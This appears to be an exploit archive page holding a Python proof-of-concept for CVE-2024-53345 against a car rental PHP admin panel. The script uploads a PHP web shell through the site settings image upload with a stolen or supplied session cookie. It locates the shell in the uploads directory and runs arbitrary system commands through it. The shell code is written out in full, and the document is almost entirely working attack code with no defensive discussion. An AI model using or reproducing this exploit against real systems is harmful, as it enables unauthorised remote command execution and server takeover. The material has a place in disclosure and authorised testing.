4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-53345.py PY
import requests
import argparse
import re

def upload_shell(base_url, session_id, filename, shell_code):
    """Uploads a PHP shell via the System Settings file upload functionality."""
    upload_url = f"{base_url}/car_rental/admin/index.php?page=site_settings"
    cookies = {'PHPSESSID': session_id}

    # Form data
    payload = {
        'name': 'Test System',
        'email': '[email protected]',
        'contact': '1234567890',
        'about': 'Test Upload'
    }

    # File upload with the PHP shell
    files = {
        'img': (filename, shell_code, 'application/octet-stream')
    }

    print("[+] Attempting to upload shell...")
    response = requests.post(upload_url, cookies=cookies, data=payload, files=files)

    if response.status_code == 200 and 'success' in response.text.lower():
        print("[+] Shell uploaded successfully. Check the /car_rental/admin/assets/uploads/ directory.")
        return True
    else:
        print("[-] Upload failed.")
        print(f"[*] Server responded with status code: {response.status_code}")
        print(f"[*] Response text: {response.text}")
        return False

def find_uploaded_file(base_url):
    """Retrieves the list of files in the upload directory to find the PHP shell."""
    directory_url = f"{base_url}/car_rental/admin/assets/uploads/"
    response = requests.get(directory_url)

    if response.status_code == 200:
        # Regex to identify uploaded PHP files
        uploaded_files = re.findall(r'href="([\w]+_php\.php)"', response.text)
        if uploaded_files:
            print(f"[+] Found uploaded PHP files: {uploaded_files}")
            return uploaded_files[-1]  # Assuming the last one is the latest
        else:
            print("[-] No PHP shell files found in uploads.")
            return None
    else:
        print(f"[-] Could not access the uploads directory. Status code: {response.status_code}")
        return None

def execute_command(base_url, session_id, filename, command):
    """Executes a command via the uploaded PHP shell."""
    target_url = f"{base_url}/car_rental/admin/assets/uploads/{filename}?cmd={command}"
    cookies = {'PHPSESSID': session_id}

    print(f"[+] Executing command '{command}' on the uploaded shell...")
    response = requests.get(target_url, cookies=cookies)

    if response.status_code == 200:
        print("[+] Command Output:")
        print(response.text)
    else:
        print("[-] Command execution failed.")
        print(f"[*] Server responded with status code: {response.status_code}")
        print(f"[*] Response text: {response.text}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Upload and execute a PHP web shell.")
    parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., http://localhost)")
    parser.add_argument("-c", "--cookie", required=True, help="PHP Session ID (PHPSESSID)")
    parser.add_argument("-cmd", "--command", required=True, help="Command to run on the server (e.g., 'hostname')")

    args = parser.parse_args()

    # Define shell code and filename
    filename = "shell_code.php"
    shell_code = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>'

    # Step 1: Upload the shell
    if upload_shell(args.url, args.cookie, filename, shell_code):
        # Step 2: Find the uploaded shell filename in the directory
        uploaded_filename = find_uploaded_file(args.url)

        # Step 3: Execute the command if the file was found
        if uploaded_filename:
            execute_command(args.url, args.cookie, uploaded_filename, args.command)